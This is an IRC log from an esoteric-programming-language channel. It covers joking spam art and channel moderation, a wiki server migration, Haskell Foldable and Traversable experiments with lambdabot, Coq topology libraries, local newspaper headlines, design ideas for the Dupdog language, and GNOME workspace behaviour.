11:38:19 <elliott> and http://esolangs.org/forum/kareha.pl/1131382031/ (but this is irrelevant), http://esolangs.org/wiki/Talk:Aura
11:38:33 <elliott> but I cba to set up a redirect today
11:38:58 -!- MoALTz has joined.
11:39:12 <elliott> oerjan: Hey, can I spam some more?
11:39:39 <elliott> Well... that wasn't really so much a request as a fair warning.
11:39:46 <elliott> It took me like 5 minutes to prepare this spamart.
11:39:48 -!- ChanServ has set channel mode: +o oerjan.
11:40:21 <elliott> That's like two minutes at the worst.
11:40:59 -!- cswords_ has quit (Ping timeout: 240 seconds).
11:41:09 <oerjan> hey if it's not worth getting banned for, it cannot be that great.
11:41:17 -!- oerjan has set channel mode: -o oerjan.
11:41:55 <elliott> YOUWILLBEABSORBEDINTOTHEISOTOP
11:41:55 <elliott> EYOUWILLBEABSORBEDINTOTHEISOTO
11:41:55 <elliott> PEYOUWILLBEABSORBEDINTOTHEISOT
11:41:55 <elliott> OPEYOUWILLBEABSORBEDINTOTHEISO
11:41:55 <elliott> TOPEYOUWILLBEABSORBEDINTOTHEIS
11:41:56 <elliott> OTOPEYOUWILLBEABSORBEDINTOTHEI
11:41:58 <elliott> SOTOPEYOUWILLBEABSORBEDINTOTHE
11:42:00 <elliott> ISOTOPEYOUWILLBEABSORBEDINTOTH
11:42:02 <elliott> EISOTOPEYOUWILLBEABSORBEDINTOT
11:42:04 <elliott> HEISOTOPEYOUWILLBEABSORBEDINTO
11:42:06 <elliott> THEISOTOPEYOUWILLBEABSORBEDINT
11:42:08 <elliott> OTHEISOTOPEYOUWILLBEABSORBEDIN
11:42:10 <elliott> TOTHEISOTOPEYOUWILLBEABSORBEDI
11:42:12 <elliott> NTOTHEISOTOPEYOUWILLBEABSORBED
11:42:14 <elliott> INTOTHEISOTOPEYOUWILLBEABSORBE
11:42:16 <elliott> DINTOTHEISOTOPEYOUWILLBEABSORB
11:42:18 <elliott> EDINTOTHEISOTOPEYOUWILLBEABSOR
11:42:20 <elliott> BEDINTOTHEISOTOPEYOUWILLBEABSO
11:42:22 <elliott> RBEDINTOTHEISOTOPEYOUWILLBEABS
11:42:24 <elliott> ORBEDINTOTHEISOTOPEYOUWILLBEAB
11:42:26 <elliott> SORBEDINTOTHEISOTOPEYOUWILLBEA
11:42:28 <elliott> BSORBEDINTOTHEISOTOPEYOUWILLBE
11:42:30 <elliott> ABSORBEDINTOTHEISOTOPEYOUWILLB
11:42:32 <elliott> EABSORBEDINTOTHEISOTOPEYOUWILL
11:42:34 <elliott> BEABSORBEDINTOTHEISOTOPEYOUWIL
11:42:36 <elliott> LBEABSORBEDINTOTHEISOTOPEYOUWI
11:42:38 <elliott> LLBEABSORBEDINTOTHEISOTOPEYOUW
11:42:40 <elliott> ILLBEABSORBEDINTOTHEISOTOPEYOU
11:42:42 <elliott> WILLBEABSORBEDINTOTHEISOTOPEYO
11:42:44 <elliott> UWILLBEABSORBEDINTOTHEISOTOPEY
11:42:46 <elliott> OUWILLBEABSORBEDINTOTHEISOTOPE
11:42:48 <elliott> YOUWILLBEABSORBEDINTOTHEISOTOP
11:42:50 <elliott> EYOUWILLBEABSORBEDINTOTHEISOTO
11:42:52 <elliott> PEYOUWILLBEABSORBEDINTOTHEISOT
11:42:54 <elliott> OPEYOUWILLBEABSORBEDINTOTHEISO
11:42:56 <elliott> TOPEYOUWILLBEABSORBEDINTOTHEIS
11:42:58 <elliott> OTOPEYOUWILLBEABSORBEDINTOTHEI
11:43:00 <elliott> SOTOPEYOUWILLBEABSORBEDINTOTHE
11:43:02 <elliott> ISOTOPEYOUWILLBEABSORBEDINTOTH
11:43:04 <elliott> EISOTOPEYOUWILLBEABSORBEDINTOT
11:43:06 <elliott> HEISOTOPEYOUWILLBEABSORBEDINTO
11:43:08 <elliott> THEISOTOPEYOUWILLBEABSORBEDINT
11:43:10 <elliott> OTHEISOTOPEYOUWILLBEABSORBEDIN
11:43:12 <elliott> TOTHEISOTOPEYOUWILLBEABSORBEDI
11:43:14 <elliott> NTOTHEISOTOPEYOUWILLBEABSORBED
11:43:16 <elliott> INTOTHEISOTOPEYOUWILLBEABSORBE
11:43:18 <elliott> DINTOTHEISOTOPEYOUWILLBEABSORB
11:43:20 <elliott> EDINTOTHEISOTOPEYOUWILLBEABSOR
11:43:22 <elliott> BEDINTOTHEISOTOPEYOUWILLBEABSO
11:43:24 <elliott> RBEDINTOTHEISOTOPEYOUWILLBEABS
11:43:26 <elliott> ORBEDINTOTHEISOTOPEYOUWILLBEAB
11:43:28 <elliott> SORBEDINTOTHEISOTOPEYOUWILLBEA
11:43:30 <elliott> BSORBEDINTOTHEISOTOPEYOUWILLBE
11:43:32 <elliott> ABSORBEDINTOTHEISOTOPEYOUWILLB
11:43:34 <elliott> EABSORBEDINTOTHEISOTOPEYOUWILL
11:43:36 <elliott> BEABSORBEDINTOTHEISOTOPEYOUWIL
11:43:38 <elliott> LBEABSORBEDINTOTHEISOTOPEYOUWI
11:43:40 <elliott> LLBEABSORBEDINTOTHEISOTOPEYOUW
11:43:42 <elliott> ILLBEABSORBEDINTOTHEISOTOPEYOU
11:43:44 <elliott> WILLBEABSORBEDINTOTHEISOTOPEYO
11:43:46 <elliott> UWILLBEABSORBEDINTOTHEISOTOPEY
11:43:48 <elliott> OUWILLBEABSORBEDINTOTHEISOTOPE
11:43:50 <elliott> YOUWILLBEABSORBEDINTOTHEISOTOP
11:43:52 <elliott> Visualise in monospaced font for best spam-art-o-experience.
11:44:09 -!- ChanServ has set channel mode: +o oerjan.
11:44:38 -!- oerjan has kicked shachaf Don't sabotage or wonderful spam!.
11:44:44 -!- oerjan has set channel mode: -o oerjan.
11:44:49 <elliott> I agree; one should never sabotage *or* wonderful spam.
11:44:50 -!- MoALTz has quit (Ping timeout: 272 seconds).
11:45:02 <elliott> Anyway, look at those *patterns*, man.
11:45:07 <elliott> The top half almost looks 3D.
11:45:16 -!- shachaf has joined.
11:45:26 <shachaf> oerjan: You need to learn the difference between "kick" and "ban",
11:45:37 <elliott> Best part???? You can read the bottom-left up and it's THE SAME SENTENCE.
11:45:48 <oerjan> shachaf: i just thought you deserved a first time warning, is all.
11:46:22 <elliott> (Same for the bottom-right up.)
11:46:26 <shachaf> A first-time warning is a ban without a kick.
11:46:45 <elliott> Do him justice and ban him without a kick.
11:46:50 <elliott> He deserves a proper first-time warning.
11:46:54 -!- ChanServ has set channel mode: +o oerjan.
11:47:01 -!- oerjan has set channel mode: +b *!*shachaf@*.members.linode.com.
11:47:08 -!- oerjan has set channel mode: -o oerjan.
11:47:10 <elliott> shachaf: Think about what you've done.
11:47:57 <Taneb> I'm trying to find the worst non-symbol font for reading IRC in
11:47:59 <elliott> oerjan: So do I get this much leeway every time I break one of the laws of the universe?
11:48:08 <Taneb> So far, the worst is Vladimir Script
11:48:32 -!- pikhq_ has quit (Read error: Operation timed out).
11:48:32 <elliott> oerjan: Have I mentioned I plan to CONTINUALLY IMPROVE Esolang???
11:48:46 -!- ChanServ has set channel mode: +o oerjan.
11:48:48 <elliott> You know the language list?
11:48:54 -!- oerjan has set channel mode: -b *!*shachaf@*.members.linode.com.
11:48:57 <elliott> That's going to become an automatically-generated table from the category, man.
11:49:03 <elliott> You'll be able to SORT by COMPUTATIONAL CLASS.
11:49:07 <oerjan> it seems shachaf may not have thought things through properly.
11:49:12 -!- oerjan has set channel mode: -o oerjan.
11:49:43 -!- pikhq has joined.
11:49:47 <Taneb> Parry Hotter is a pretty weird font for reading IRC in
11:49:58 <Taneb> I'm not sure where I got all these fonts
11:50:04 <ion> Hotter than whom?
11:51:29 <Taneb> Ooh crikey. elliott, look outside at the weather
11:52:03 <oerjan> just as hexham takes control of our wiki, it is swept away by a tsunami. how sad.
11:52:17 <elliott> Taneb: It's quite weather, yes.
11:55:43 <elliott> oerjan: Do you feel absorbed, yet?
11:57:54 <oerjan> no, i am still stuck in the matrix of solidity.
12:09:39 * Sgeo is turning into a sarcastic person.
12:09:49 <Sgeo> <Sgeo> http://common-lisp.net/project/cl-stm/doc/tutorial.html
12:09:49 <Sgeo> <Sgeo> What a helpful tutorial.
12:10:52 <elliott> So are you going through all the languages you spent approx. 3 seconds with again in reverse chronological order?
12:12:05 <Sgeo> I wasn't entirely aware of me going through these in any particular order relevant to my last language hunt
12:15:31 <elliott> oerjan: Can you *believe* Linode gave me a month and a half for the cost of half a month?!
12:16:17 <oerjan> i think there must be a word for that sort of thing in the illicit drug business.
12:17:23 <elliott> I believe the word is: BARGAIN.
12:17:27 <oerjan> something tells me square root of minus garfield is having technical problems.
12:18:22 * oerjan managed to confuse himself a bit there.
12:18:35 <oerjan> it's not a very hard thing to do.
12:20:12 <oerjan> i was wondering if you had a 5 line paste limit
12:20:24 <elliott> why, did I miss something?
12:21:06 <oerjan> no, but you didn't maximize height
12:21:21 <ion> In certain moments of boredness i’ve done synchronized screenfuls of sine wavey text as alternating lines with a friend on IRC. :-P
12:21:21 <elliott> SOMETIMES spamart can come in horizontal forms too, you know???
12:21:54 <oerjan> ion: so are you familiar with the fine art of oko, then
12:21:55 <Taneb> > fromList "hello" <| 'a' <| 'b'
12:21:56 <elliott> ion: I dearly hope to never discover the level of boredom required to think that's fun.
12:21:56 <lambdabot> Not in scope: `<|'Not in scope: `<|'
12:22:18 <Taneb> > Data.Sequence.fromList "hello" Data.Sequence.<| 'a' Data.Sequence.<| 'b'
12:22:19 <lambdabot> Not in scope: `Data.Sequence.fromList'Not in scope: `Data.Sequence.<|'Not i...
12:22:42 <oerjan> it's also a part of the okoer's burden to be interrupted
12:22:43 <lambdabot> Overlapping instances for GHC.Show.Show
12:23:16 <Taneb> > Seq.fromList "hello" Seq.<| 'a' Seq.<| 'b'
12:23:17 <lambdabot> Couldn't match expected type `Data.Sequence.Seq GHC.Types.Char'
12:23:32 <Taneb> > (Seq.fromList "hello" Seq.<| 'a') Seq.<| 'b'
12:23:33 <lambdabot> Couldn't match expected type `Data.Sequence.Seq
12:23:59 <Taneb> > (Seq.fromList "hello" Seq.|> 'a') Seq.|> 'b'
12:24:00 <oerjan> lambdabot doesn't suffer from overmuch discoverability in its module import choices
12:24:10 <Taneb> > Seq.fromList "hello" Seq.|> 'a' Seq.|> 'b'
12:24:25 <ion> Thambdabot
12:25:38 <elliott> Your Finnishness is offset by your Look Around You references.
12:25:42 <lambdabot> forall (t :: * -> *) m. (Data.Foldable.Foldable t, Monoid m) => t m -> m
12:26:10 <Taneb> > Data.Foldable.fold (Seq.fromList "hello") :: String
12:26:11 <lambdabot> Couldn't match expected type `GHC.Base.String'
12:26:29 <Taneb> That's ruined everything
12:26:36 <elliott> what semantics do you want?
12:26:52 <lambdabot> forall a b (t :: * -> *). (Data.Foldable.Foldable t) => (a -> b -> b) -> b -> t a -> b
12:26:58 <ion> > Data.Foldable.foldMap pure (Seq.fromList "hello") :: String
12:27:37 <oerjan> > Data.Foldable.toList (Seq.fromList "hello")
12:28:19 <elliott> I wonder why Traversable requires Foldable.
12:28:20 <ion> > ala' Sum Data.Foldable.foldMap ord (Seq.fromList "hello")
12:28:27 <elliott> Can you implement Foldable with Traversable?
12:28:53 <elliott> :t fmap (const ()) . Data.Traversable.traverse tell
12:28:54 <lambdabot> forall (f :: * -> *) a (t :: * -> *). (Applicative f, MonadWriter a f, Data.Traversable.Traversable t) => t a -> f ()
12:29:02 <oerjan> :t Data.Traversable.foldMapDefault
12:29:02 <elliott> :t execWriter . Data.Traversable.traverse tell
12:29:03 <lambdabot> forall a m (t :: * -> *). (Data.Traversable.Traversable t, Monoid m) => (a -> m) -> t a -> m
12:29:03 <lambdabot> forall w (t :: * -> *). (Monoid w, Data.Traversable.Traversable t) => t w -> w
12:29:05 <elliott> :t execWriter . Data.Traversable.traverse tell
12:29:06 <lambdabot> forall w (t :: * -> *). (Monoid w, Data.Traversable.Traversable t) => t w -> w
12:29:27 <oerjan> elliott: not to mention that it's actually a subclass
12:29:40 <elliott> <elliott> I wonder why Traversable requires Foldable.
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12:29:45 <elliott> are there any Foldables that aren't Traversable?
12:29:49 <elliott> I don't really like Foldable.
12:29:50 -!- pikhq has joined.
12:30:05 <elliott> Although fold is very nice, I have to admit.
12:30:48 <oerjan> it's entirely possible to make a tree instance which appends recursively
12:31:22 <oerjan> which would be more efficient than using toList
12:31:23 <elliott> oerjan: That's why I'm a monoid fanboy.
12:31:36 <elliott> oerjan: Did you know that foldMap is MapReduce?
12:31:52 <elliott> Monoids are, like, inherently parallel.
12:33:15 <elliott> I think oerjan thinks I'm weird.
12:33:16 <oerjan> yes, that's why i mentioned that tree thing
12:33:29 <elliott> Or maybe he thinks I'm a genius.
12:33:36 <elliott> Okay, so it's pretty obvious.
12:33:50 <Taneb> Why not both at the same time?
12:34:02 <elliott> Also, I think databases are MapReducey monoids.
12:34:03 <oerjan> Taneb: maybe in sort of fizzbuzz fashion?
12:34:22 <elliott> Like, there are databases that don't synchronise all the time with all the DB servers, they just let stuff go through and handle conflicts later.
12:34:27 <elliott> What if conflict resolution is mappend?
12:34:39 <elliott> You send diffs to the database; mempty is the null diff.
12:34:53 <elliott> And it mappends the diffs when two servers submit differing diffs, or something.
12:35:48 <oerjan> > unwords [case gcd n 6 of 1 -> "er..."; 2 -> "weird"; 3 -> "genius"; 6 -> "weird genius" | n <- [1..]]
12:35:49 <lambdabot> "er... weird genius weird er... weird genius er... weird genius weird er......
12:36:14 <oerjan> that was definitely either weird or genius.
12:36:37 <elliott> That was definitely genius. That's what @'s distributed databases look like. Probably.
12:36:48 <elliott> Did you know I'm not working on @?
12:37:18 <elliott> So if I'm the wiki admin, I get to be an op, right?
12:37:23 <oerjan> he is strong with the force, that guy
12:37:40 <oerjan> graue was never an op.
12:38:05 <elliott> Also, I don't know that what Graue did could technically be called "administrating".
12:38:24 <elliott> Like giving birth and going into a coma for the next seven years is "parenting" :D
12:38:51 -!- MoALTz has joined.
12:39:36 <oerjan> i think he may have been more active before you arrived
12:39:47 <oerjan> wait, you spiked his drink, didn't you.
12:39:50 * elliott has read older pages of the wiki, y'know.
12:39:59 <elliott> I don't think he was active past 2007.
12:40:05 <elliott> That's when he upgraded the wiki and was messing with spam protection.
12:40:13 <oerjan> which coincidentally is when you arrived.
12:40:16 <elliott> The only thing he did after that was to turn on the CAPTCHA for all anonymous users, I think.
12:40:23 <elliott> oerjan: No, that was technically 2006.
12:40:40 <elliott> Anyway, I'm going to... like...
12:40:47 <elliott> oerjan: What's the most annoying thing about the wiki?
12:42:21 <elliott> oerjan: Come on, there's gotta be a third thing!
12:43:02 <Taneb> The fact that there's at least two categories for BF derivatives
12:43:03 <oerjan> i can only think of edits timing out before you submit, but i've sort of adapted to that and i'm not sure it's the wiki's fault anyway
12:43:15 <elliott> oerjan: That shouldn't be present with the new server.
12:43:23 <elliott> oerjan: (It'll also be a lot faster, being in London.)
12:43:34 <oerjan> everything's faster in london.
12:43:39 <elliott> ping london1.linode.com and compare with your ping to esolangs.org.
12:43:40 <Taneb> London, the city of speeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeed
12:43:42 <oerjan> except when it doesn't change at all.
12:43:47 <elliott> (And then report the figures to me, because I'm interested.)
12:44:50 <oerjan> 52 and 195 ms, respectively
12:45:49 <Taneb> (As an aside, pyralspite.net is also 173ms)
12:46:06 <elliott> Yeah, pyralspite is in America.
12:46:26 -!- cheater__ has quit (Read error: Connection timed out).
12:46:47 <Taneb> lifthrasiir: where are you?
12:46:56 <elliott> lifthrasiir: my condolences
12:46:59 -!- cheater__ has joined.
12:47:03 <Taneb> Well, London's still better
12:47:11 <elliott> I guess that's the price you pay for the kinds of speeds you get in that part of the globe :)
12:47:51 <lifthrasiir> well my ISP has been notoriously slow for certain abroad networks
12:48:29 <elliott> Well, http://www.kt.com/eng/ takes about 4 years to load here, so I'll agree with that.
12:48:34 <oerjan> there's like this kind of sonic shock when packets leave south korea, because of the sudden decrease in speed.
12:51:20 <elliott> oerjan: Fourth annoyance???? C'mon I can fix ANYTHING
12:51:42 <Taneb> How lame the forum is.
12:51:51 <elliott> The forum is dying, rest in peace.
12:52:14 <elliott> Did you know that Graue is actually a pretty nice dude???
12:54:43 <Phantom_Hoover> FFS why are , and . so close together on this keyboard.
12:55:04 <elliott> I think he might have become a nicer dude in the 7 intervening years???
12:55:14 <elliott> Can you believe the wiki is 7 years old?
12:55:36 <Taneb> There has been an esolang since 1972
12:56:10 <elliott> INTERCAL was the first designed esolang.
12:56:12 <elliott> But http://esolangs.org/wiki/Prehistory_of_esoteric_programming_languages
12:56:35 <Taneb> P'' was an academic tool intended for research
12:57:06 <Phantom_Hoover> http://coq.inria.fr/pylons/contribs/view/Topology/v8.3
12:58:40 <Phantom_Hoover> At least it's better than the ZFC one, in that the comments and names aren't in French,
13:02:09 -!- oerjan has quit (Quit: leaving).
13:05:38 <elliott> oerjan is leaving because he couldn't think of a fourth.
13:07:02 <Taneb> a fourth == one quater == 0.25
13:07:26 <elliott> Phantom_Hoover: Remember http://miekko.infa.fi/kaksikymment.ogg???
13:08:15 * Phantom_Hoover notes that that Coq file contains Ensembles and Families, both of which appear to be Coqy sets.
13:08:29 <Phantom_Hoover> Of course, the latter doesn't actually appear to be defined anywhere,
13:09:04 <elliott> http://coq.inria.fr/stdlib/Coq.Sets.Ensembles.html
13:09:51 <elliott> Link to the file that mentions families?
13:10:00 <Phantom_Hoover> http://coq.inria.fr/pylons/contribs/files/Topology/v8.3/Topology.TopologicalSpaces.html
13:10:11 <Phantom_Hoover> Later, open_family_union : forall F : Family point_set,
13:10:57 <elliott> http://coq.inria.fr/pylons/contribs/view/ZornsLemma/v8.3
13:11:01 <elliott> The library depends on my ZornsLemma contribution. The provided
13:11:02 <elliott> makefile expects compiled files to be present in ../ZornsLemma; if you
13:11:02 <elliott> have them somewhere else, first run
13:11:02 <elliott> coq_makefile -R /path/to/ZornsLemma ZornsLemma -R . Topology *.v > makefile
13:11:14 <elliott> Families.v - operations on families of subsets of X, i.e. Ensemble (Ensemble X)
13:11:41 -!- cheater_ has joined.
13:12:00 <elliott> Phantom_Hoover: Coq tactic proofs are so readable.
13:12:55 <Taneb> I was being silent
13:13:18 <Phantom_Hoover> I'm... pretty sure that's not an axiom of a topological space.
13:14:46 -!- cheater_ has quit (Excess Flood).
13:15:13 <Phantom_Hoover> I like how the first two proofs have just been wrangling the Coq definitions into agreeing with the obvious.
13:15:41 -!- cheater__ has quit (Ping timeout: 244 seconds).
13:15:56 <ion> What’s kaksikymment.ogg supposed to be?
13:16:03 -!- cheater_ has joined.
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13:16:32 <elliott> ion: An ordinary Finnish word.
13:16:40 <elliott> Kaksikymmentäneljätuntiaikakausitämänhetkinen.
13:17:11 <elliott> If it wasn't a Finnish word, how could we possibly have a Finn saying it on record?
13:17:13 <ion> Yes, it’s obviously Anordinaryfinnishword.
13:18:50 -!- MoALTz has quit (Ping timeout: 248 seconds).
13:18:53 <elliott> ion: Perhaps this will help:
13:18:58 <elliott> http://esolangs.org/w/index.php?title=Main_Page&direction=prev&oldid=20966
13:18:59 <elliott> http://esolangs.org/w/index.php?title=Main_Page&direction=prev&oldid=21366
13:19:00 <elliott> http://esolangs.org/w/index.php?title=Main_Page&direction=next&oldid=20966
13:19:02 <elliott> http://esolangs.org/w/index.php?title=Main_Page&direction=next&oldid=21366
13:19:04 <elliott> http://esolangs.org/w/index.php?title=Main_Page&direction=next&oldid=21521
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13:20:38 <elliott> You say k, but beneath your steely Finnish exterior there is a heart sparking with joy at the poetry.
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13:30:57 <fizzie> A Finnologist, or a "Finker" like they colloquially say.
13:31:41 <Taneb> Best ever headline: http://www.hexhamcourant.co.uk/news/news-at-a-glance/late-post-is-not-that-late-1.924528
13:32:17 -!- elliott has set topic: LATE POST ‘IS NOT THAT LATE’ | http://codu.org/logs/_esoteric/.
13:35:25 <fizzie> What's this, you have a newspaper in Hexham?
13:35:52 <Taneb> It's the best newspaper in Northumberland
13:36:05 <fizzie> And a professional-looking website, not just any site.
13:36:49 <elliott> fizzie: Well, it's not really just or Hexhamites.
13:36:59 <elliott> It goes to a lot of places. Well, for English values of a lot.
13:37:05 <Phantom_Hoover> http://www.hexhamcourant.co.uk/news/news-at-a-glance/students-pass-classic-test-1.288062?referrerPath=home/2.3307
13:37:10 <elliott> Also that site design is new or something.
13:37:42 <elliott> http://www.hexhamcourant.co.uk/news/news-at-a-glance/clean-up-causes-disruption-1.924484?referrerPath=home
13:37:56 <elliott> The Hexham Courant are true masters of the headline form.
13:38:18 <elliott> http://www.hexhamcourant.co.uk/opinion/hextol/no-crumbs-of-comfort-in-brown-bread-1.924426?referrerPath=opinion/hextol
13:38:29 <Phantom_Hoover> i.e. the measure of how good you are at writing your name on the papers.
13:38:39 <Taneb> Also, I do not play cricket.
13:38:41 <elliott> http://www.hexhamcourant.co.uk/opinion/hextol/coffee-brewed-from-powder-is-still-my-cup-of-tea-1.919729?referrerPath=opinion/hextol
13:38:46 <elliott> Phantom_Hoover: Dude look at these headlines.
13:38:54 <Taneb> Being a dweeb I'll admit to
13:39:01 <elliott> http://www.hexhamcourant.co.uk/sport/other/cool-dude-nathan-takes-to-the-ice-for-europeans-1.924439?referrerPath=home
13:39:10 <Phantom_Hoover> elliott, it still can't beat the EEN's "trams trams trams trams TRAMS fucking TRAMS"#
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13:39:28 <Taneb> I will now have LUNCH
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13:39:34 <elliott> Phantom_Hoover: Sorry you have to agree that LATE POST ‘IS NOT THAT LATE’ is one of the all-time classic headlines.
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13:40:13 <elliott> <Taneb> Best ever headline: http://www.hexhamcourant.co.uk/news/news-at-a-glance/late-post-is-not-that-late-1.924528
13:40:19 <elliott> It's what brought this up.
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13:40:55 <Phantom_Hoover> "As her alter-ego, Mish Bondage, she appears in pictures on the internet wearing leather and fishnets, sporting tattoos and with bright red hair."
13:41:11 <Phantom_Hoover> Is this some other internet where that's worthy of the appelation "bondage punk".
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13:42:05 <elliott> Phantom_Hoover: It's print news media.
13:42:07 <Phantom_Hoover> elliott, the BNP fired her or something and she's not happy?
13:43:13 <Phantom_Hoover> I've heard that the seagulls in Edinburgh are unusually large, but I've yet to see any evidence of it.
13:43:32 <elliott> http://www.sado-nation.com/
13:44:46 * Phantom_Hoover remembers being in primary school, when after break the seagulls would descend en masse to eat any food left in the playground.
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13:45:14 <fizzie> "The seagulls of Seague ull loudly at the sea" -- old adage.
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13:54:09 <Taneb> I have finnished my lunch.
13:54:18 <Taneb> I did not, however, Norwegian it
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14:38:32 <elliott> kallisti: All your wiki pages belong to ME now.
14:41:26 <Gregor> kallisti: (Also: your base, your soul)
14:41:57 <elliott> Gregor: There goes [[Glass]] and [[ORK]].
14:42:07 <elliott> I would be more careful about your remarks in future!!!
14:45:21 <kallisti> elliott: nope! I have Wiki pages of my own!
14:45:41 <elliott> That page LIVES AND DIES BY MY DICTATORIAL ORDER now.
14:45:55 <kallisti> like, I would actually prefer that it be rewritten.
14:46:19 <kallisti> also I've got BRAND NEW IDEAS REGARDING DUPDOGOIDS (yes that's what they're called now)
14:47:02 <elliott> I think a Dupdog proof of TCness/TinCness would be theoretically interesting.
14:47:08 <elliott> It reminds me very much of 1D CAs.
14:47:26 <kallisti> YES. if only someone could go do that..
14:48:44 <kallisti> elliott: basically I've got an idea for a new language where there's a 2-argument instruction that substitutes characters
14:48:54 <kallisti> so the string "sab" would replace all a's with b's
14:49:07 <kallisti> it mights it a bit easier to actually do something.
14:49:47 <Taneb> ~!~ --infinite loop in dupdog?
14:49:56 <elliott> @tell oerjan You could try and figure out whether Dupdog is TC or not. You know, if you wanted to.
14:50:08 <kallisti> elliott: thanks for reminding him
14:50:14 <kallisti> he may have forgotten how interested he was in the topic.
14:50:54 <kallisti> I was also considering an instruction called ", that removes all preceding characters up to the next " (or all the way to the end of the string, causing it to terminate)
14:51:09 <kallisti> I think that combined with the substition operator would be TC. but I'm not sure.
14:51:51 <elliott> You're not meant to make it easier.
14:52:22 <elliott> What other dupdog programs have been written apart from that hello world?
14:52:42 <Taneb> ! ~~!~!~~!~~~!~!~~!~
14:54:26 <kallisti> elliott: well I would like to make it easier but make it similar in concept.
14:54:41 <kallisti> other variants could have different goals. -shrug-
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14:56:40 <kallisti> elliott: and still writing programs with those operators is still going to be difficult...
14:58:08 <elliott> I don't care about program-writing.
14:59:48 <kallisti> hmmm, I guess with a substition operator it becomes something like a production system?
15:00:15 <kallisti> but... where the input string is also the sequence of production rules.
15:01:23 <kallisti> it's also limited to (presumably) a finite alphabet for production rules, since it only substitutes a single character rather than an arbitrary string.
15:04:14 <kallisti> though I guess an infinite alphabet is possible too
15:04:25 <elliott> The only thing that needs changing about dupdog is the output system.
15:04:50 <kallisti> I'm just exploring different ideas. I'm not trying to "fix" dupdog at the moment.
15:04:57 <kallisti> what would you recommend for the output.
15:05:15 <elliott> Well, the decimal output is ugly.
15:05:39 <elliott> Ideally it'd be something like mfit can output 0 bits and shanty can output 1 bits and that's it, or something.
15:05:59 <elliott> It might make coherent ASCII output nearly-impossible, but it exposes the structure of the computation better.
15:06:10 <elliott> And it's not like dupdog programs that do coherent ASCII output are going to be written anyway.
15:06:18 <kallisti> would the bit still be based on the string length?
15:06:35 <kallisti> hmmm, what if counted a particular character in the source code?
15:06:35 <elliott> <elliott> Ideally it'd be something like mfit can output 0 bits and shanty can output 1 bits and that's it, or something.
15:06:38 <kallisti> and used that as the output bit.
15:06:41 <elliott> mfit: If the character is something else, 0 is output.
15:06:44 <elliott> shanty: If the character is something else, 1 is output.
15:07:39 <kallisti> I think counting a particular character in the source string and outputting that as a byte would be a bit less impossible for output. but as far as I can tell making dupdog sensible is out of the question.
15:07:45 <kallisti> without making a completely different language.
15:08:27 <elliott> Which is why my suggestion brings it closer to a computational model than something trying to be a language.
15:09:51 <kallisti> though character counting output is a perfectly fine computational model as well. -shrug-
15:09:57 <elliott> Notably, shanty/? can be implemented by flipping a bit.
15:10:08 <elliott> If you consider "reading forwards" vs. "reading backwards" a boolean interpreter state.
15:10:15 <elliott> That might simplify analysis greatly.
15:10:22 <kallisti> yes I've considered how to handle string reversal.
15:10:44 <kallisti> or, say, in Haskell if you're using Seq to represent the string
15:10:54 <kallisti> ? would just alternate between viewR and viewL
15:11:10 <elliott> After a duplication the length of the source code is always even.
15:11:21 <elliott> So I wonder if you could not implement duplication as some control structure that doesn't actually duplicate the program.
15:11:28 <elliott> But instead loops it twice and maintains some state of is-even-or-not.
15:11:36 <kallisti> also, in a character counting system, the number of that character would always be even
15:11:42 <kallisti> which would make odd number output trickier
15:11:44 <elliott> That might tease enough structure out of it to look like an actual language.
15:12:24 <kallisti> the difficulty with that would be the character transposition operator, I don't recall the symbol I used...
15:12:47 <kallisti> that's just a three-valued... value.
15:14:08 <kallisti> the three different states determine your interpretation of characters.
15:15:17 <kallisti> however, looping twice doesn't work I think
15:15:47 <elliott> I didn't mean it would be that simple.
15:15:54 <kallisti> because, if you reverse, duplicate, and then maybe chop off some more input characters before reversing
15:16:15 <elliott> I just meant that if you turn reversal into an "IP switch", and massage duplication into a control structure of some sort, you'd get a lot further.
15:16:41 <kallisti> reversal can definitely be a boolean.
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15:17:52 <kallisti> it would be nice if it maintain a palindrome.
15:18:01 <kallisti> basically that would require reversing after each operation.
15:18:34 <kallisti> not nice because it makes it a more interesting computational model
15:18:38 <kallisti> nice because I like palindromes. :P
15:20:25 * kallisti good priorities in language design.
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15:29:23 <kallisti> the rules gnome uses to go from single monitor to two monitors is pretty stupid.
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15:52:53 <kallisti> well, when I plug in a monitor to my laptop
15:53:04 <kallisti> it decides that I wanted the right workspaces to be on the right monitor of the left workspace...
15:53:31 <kallisti> I divide my workspaces via what I'm doing at the time. Why would I suddenly want everything to get shuffled around so that I have to reorganize it?
15:55:07 * kallisti doesn't have the focus to use two monitors as two different "workspaces"
15:55:13 <kallisti> like they seem to think I want to do.
15:55:17 <fizzie> I'm not sure what that means. I mean, IIRC gnome just has a set of workspaces that span the whole screen (all monitors).
15:55:37 <kallisti> switching workspaces switches all monitors to the new workspace
15:55:43 <kallisti> but when you connect a new monitor
15:55:50 <kallisti> well, I have a 2x2 grid of workspaces
15:56:07 <kallisti> it takes the windows on the right workspace and moves them to the second monitor on the left workspace....
15:56:14 <kallisti> ...I don't know how else to explain it, lol.
15:56:56 <kallisti> so I have "dick around" stuff in the top left, and job stuff on the top right.
15:57:05 <fizzie> Oh, okay. Well, that's pure Gnome, anyways. (I would've expected it to just change the size of the workspaces, but admittedly I haven't used a grid either.)
15:57:08 <kallisti> when I plug in a monitor, all of my work stuff jumps to the second monitor on my "dick around" workspace.
15:57:27 <kallisti> I guess I could fix that by using the bottom left workspace for work.
15:58:27 <fizzie> I suppose it's trying to be clever. Or alternatively just maintaining the window locations in the virtual space you get if you'd lay out the workspaces physically the way you have them configured.
15:59:01 <kallisti> virtually each workspace is now two screens side by side.
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15:59:17 <kallisti> you can even see this in the animation to move workspaces.
15:59:36 <fizzie> Well, it has a sort of consistent logic, even if it's not the sort of logic you'd like.
15:59:42 <fizzie> Does it then make a set of empty "right workspaces"?
16:00:11 <kallisti> so yeah I guess I'll just use the left workspaces to organize between work vs. not-work
16:00:37 <kallisti> though sometimes I use 3 workspaces, rarely 4
16:00:49 <kallisti> the 3rd one would be for school.
16:01:13 <kallisti> but getting my work stuff and school stuff temporarily disorganized isn't a big deal.
16:01:24 <kallisti> but when work + fun mixes together I end up with like 11-12 windows to sort out. :P
16:01:38 <fizzie> A four-high stack would work, though I suppose that'd look bad in the switcher and maybe if you navigate it in terms of up/down/left/right instead of numbers.
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16:02:23 <kallisti> but, I can't complain too much. previously I was only using one workspace.
16:02:34 <kallisti> and then I decided, hey, why don't I use this organizational feature provided to me.
